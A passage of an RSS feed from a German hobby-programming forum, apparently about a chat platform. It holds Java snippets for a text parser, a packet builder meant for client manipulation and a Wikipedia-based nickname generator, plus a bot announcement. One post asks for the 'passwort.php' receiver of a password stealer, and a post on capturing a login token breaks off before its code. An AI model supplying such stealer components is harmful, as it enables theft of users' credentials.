&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered.append('[');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered.append(rgb);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered.append(']');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (isNumber(c) || c == ',') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rgb.append(c);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (isNumber(c)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = &quot;&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (j &lt; code.length()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = code.charAt(j);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!isNumber(c)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size += c;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Integer.parseInt(size) &lt; minSize) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = String.valueOf(minSize);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (Integer.parseInt(size) &gt; maxSize) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = String.valueOf(maxSize);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered.append(size);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (isColor(c) || c == 'r') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filtered.append(c);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (c == '[') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRGB = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rgb = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (filtered.toString().isEmpty()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code = filtered;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append('°');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append(code);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append('°');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (isCode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code.append(current);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (current == '#' &amp;&amp; !escape) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!filter || lineBreaks &lt; maxLineBreaks) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append(&quot;#°!°&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lineBreaks++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append(' ');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret.append(current);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (current == '\\') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; escape = !escape;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; escape = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return ret.toString().trim();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String escape(String message) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return message<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;\&quot;, &quot;\\\&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;&quot;&quot;, &quot;\\&quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;#&quot;, &quot;\\#&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;_&quot;, &quot;\\_&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;§&quot;, &quot;\\§&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .replace(&quot;°&quot;, &quot;\\°&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .trim();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static boolean isNumber(int character) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return character &gt;= '0' &amp;&amp; character &lt;= '9';<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static boolean isColor(int character) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; switch (character) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'A':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'B':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'C':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'D':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'E':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'G':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'K':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'L':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'M':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'N':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'O':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'P':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'R':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'W':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'Y':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; default:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static boolean validateRGB(String[] rgb) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (rgb.length &lt; 3) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (String color : rgb) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (color.isEmpty() || color.length() &gt; 3) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; short value = Short.parseShort(color);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (value &lt; 0 || value &gt; 255) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-kcodeparser-32129</guid>
		</item>
		<item>
			<title><![CDATA[[Java] PacketBuilder]]></title>
			<link>sourcecode-91/java-packetbuilder-32143?goto=newpost</link>
			<pubDate>Thu, 31 Mar 2011 17:06:56 GMT</pubDate>
			<description>Code: 
--------- 
/** 
 * 
 * @author Flav 
 */ 
public class PacketBuilder { 
    private StringBuilder buffer;</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class PacketBuilder {<br />
&nbsp; &nbsp; private StringBuilder buffer;<br />
<br />
&nbsp; &nbsp; public PacketBuilder() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer = new StringBuilder();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public PacketBuilder(String opcode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer = new StringBuilder(opcode);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void write(int[] b) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; b.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeByte(b[i]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void writeByte(int b) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) b);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void writeShort(int s) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; writeByte((s &gt;&gt;&gt; 8) &amp; 0xFF);<br />
&nbsp; &nbsp; &nbsp; &nbsp; writeByte(s &amp; 0xFF);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void writeString(String str) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; writeString(str, false);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void writeString(String str, boolean appendLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (appendLength) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeByte(str.length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.append(str);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; @Override<br />
&nbsp; &nbsp; public String toString() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Wer sich mit Server-Emulation oder Client-Manipulation beschäftigt, könnte es vielleicht gebrauchen. Ist vor allem dann sehr nützlich wenn ihr ein Popup oder eine Toolbar anzeigen wollt. Wenn ihr diese paar Zeilen nicht versteht, braucht ihr es wahrscheinlich nicht, also fragt auch bitte nicht was das ist und was ihr damit anstellen könnt.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-packetbuilder-32143</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Nicks generieren]]></title>
			<link>sourcecode-91/java-nicks-generieren-31049?goto=newpost</link>
			<pubDate>Wed, 30 Mar 2011 20:14:56 GMT</pubDate>
			<description>Code: 
--------- 
package randomnicks; 
 
import java.io.BufferedReader; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import...</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">package randomnicks;<br />
<br />
import java.io.BufferedReader;<br />
import java.io.IOException;<br />
import java.io.InputStreamReader;<br />
import java.net.URL;<br />
import java.util.Random;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author krt<br />
&nbsp;*/<br />
public class Main {<br />
<br />
&nbsp; &nbsp; public static void main(String[] args) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int nicks = 20;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt; nicks; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(&quot;Nick: &quot; + generateNick(10, true, 123));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static String generateNick(int minLen, boolean subst, int randMax) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder content = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; URL url = new URL(&quot;http://de.wikipedia.org/w/index.php?title=Spezial:Zuf%C3%A4llige_Seite&amp;printable=yes&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String s = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ((s = reader.readLine()) != null) content.append(s).append(&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException ioe) { }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String clearContent = content.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; clearContent = clearContent.substring(0, clearContent.indexOf(&quot;Von „&lt;a href=&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .substring(clearContent.indexOf(&quot;&lt;!-- bodytext --&gt;&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .replaceAll(&quot;&lt;[^&lt;]+&gt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  .trim();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String[] words = clearContent.split(&quot;\\s&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String suffix = String.valueOf(new Random().nextInt(randMax));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(String word : words) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(word.length() &gt;= minLen &amp;&amp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  !word.equals(&quot;[Bearbeiten]&quot;) &amp;&amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  word.matches(&quot;[a-zA-Z0-9-]+&quot;) &amp;&amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (subst ? Character.isUpperCase(word.charAt(0)) : true)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ) return String.format(&quot;%s %s&quot;, word, suffix);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return generateNick(minLen, subst, randMax);<br />
&nbsp; &nbsp; }<br />
<br />
}</code><hr />
</div>Erzeugt zufällige Nicknamen, die aus Wikipedia geholt werden.<br />
<br />
Beispiel Output:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Nick: International 33<br />
Nick: Originaltitel 65<br />
Nick: Hamburgische 37<br />
Nick: Systematik 61<br />
Nick: Inhaltsverzeichnis 95<br />
Nick: Journalist 100<br />
Nick: Hieroglyphen 36<br />
Nick: Basisdaten 73<br />
Nick: B-Weltmeisterschaft 22<br />
Nick: Ipet-hemet 114<br />
Nick: Inhaltsverzeichnis 42<br />
Nick: Druckanzug 100<br />
Nick: Zink-Luft-Batterien 27<br />
Nick: Orgelbauer 48<br />
Nick: Schriftzeichen 17<br />
Nick: Wei-Dynastie 31<br />
Nick: Herzoglich 47<br />
Nick: Vereinigten 41<br />
Nick: Inhaltsverzeichnis 56<br />
Nick: Nationalmannschaft 24
			
		<hr />
	</div>
</div>Erlaubte Zeichen in Nicks: a-zA-Z0-9-<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>KrT</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-nicks-generieren-31049</guid>
		</item>
		<item>
			<title>Suche Stealer passwort.php</title>
			<link>sourcecode-91/suche-stealer-passwort-php-31425?goto=newpost</link>
			<pubDate>Tue, 29 Mar 2011 15:34:35 GMT</pubDate>
			<description>Guten Tag, 
ich suche die Passwort.php für Stealer, wo mann auf /passwort.php?add=Daten connecten muss. 
hat das vielleicht jemand? 
 
MfG</description>
			<content:encoded><![CDATA[<div>Guten Tag,<br />
ich suche die Passwort.php für Stealer, wo mann auf /passwort.php?add=Daten connecten muss.<br />
hat das vielleicht jemand?<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>R4C3</dc:creator>
			<guid isPermaLink="true">sourcecode-91/suche-stealer-passwort-php-31425</guid>
		</item>
		<item>
			<title>GimmeSome Minutes StayOnline</title>
			<link>sourcecode-91/gimmesome-minutes-stayonline-32146?goto=newpost</link>
			<pubDate>Mon, 28 Mar 2011 19:07:07 GMT</pubDate>
			<description>Ein simpler Konsolenbasierter StayOnline Bot ;) 
Sinn des ganzen: 
Die if abfagen die euch alle möglichen Verbindungsfehler aufzeigen, ausserdem ist...</description>
			<content:encoded><![CDATA[<div>Ein simpler Konsolenbasierter StayOnline Bot ;)<br />
Sinn des ganzen:<br />
Die if abfagen die euch alle möglichen Verbindungsfehler aufzeigen, ausserdem ist der Bot für viele (VIELE!) Instanzen geeignet, eben weil er Konsolenbasiert ist.<br />
<br />
Wieso so ein unfertiger Bot?<br />
<br />
Nun, da ich selbst gerade erst anfange mit Programmieren, habe ich diesen Bot mit allen möglichen if&#8217;s vollgestopft. Anhand der Fehlermeldungen werdet ihr relativ genau darauf hingewiesen was genau Schief läuft. Ich werde ihn natürlich weiterentwickeln, aber damit andere auch lernen können stelle ich für v 1.0 den Source ebenfalls rein ;)<br />
DL Link liegt auf meinem Blog:<br />
<br />
<a href="http://square252.de.vu/release-gimmesomeminutes" target="_blank" rel="nofollow">Square252.de.vu - Newbie C#-Dev und Nerd ;) RELEASE GimmeSomeMinutes</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>JackThursby</dc:creator>
			<guid isPermaLink="true">sourcecode-91/gimmesome-minutes-stayonline-32146</guid>
		</item>
		<item>
			<title><![CDATA[[C#] In PW geschützten Channel einloggen]]></title>
			<link>sourcecode-91/c-in-pw-geschuetzten-channel-einloggen-30399?goto=newpost</link>
			<pubDate>Fri, 25 Mar 2011 15:13:57 GMT</pubDate>
			<description>Hey, 
 
mit diesem Thread möchte ich Euch zeigen, wie man sich mit der KNLib in einem Passwort geschützten Channel einloggen kann. Es ist sehr sehr...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
mit diesem Thread möchte ich Euch zeigen, wie man sich mit der KNLib in einem Passwort geschützten Channel einloggen kann. Es ist sehr sehr simpel und denke mal, viele sollten damit klar kommen.<br />
<br />
Man loggt sich einfach wie gewohnt ein und gibt das Passwort vom Channel ein und fängt beim Einloggen einfach das k-Token ab:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
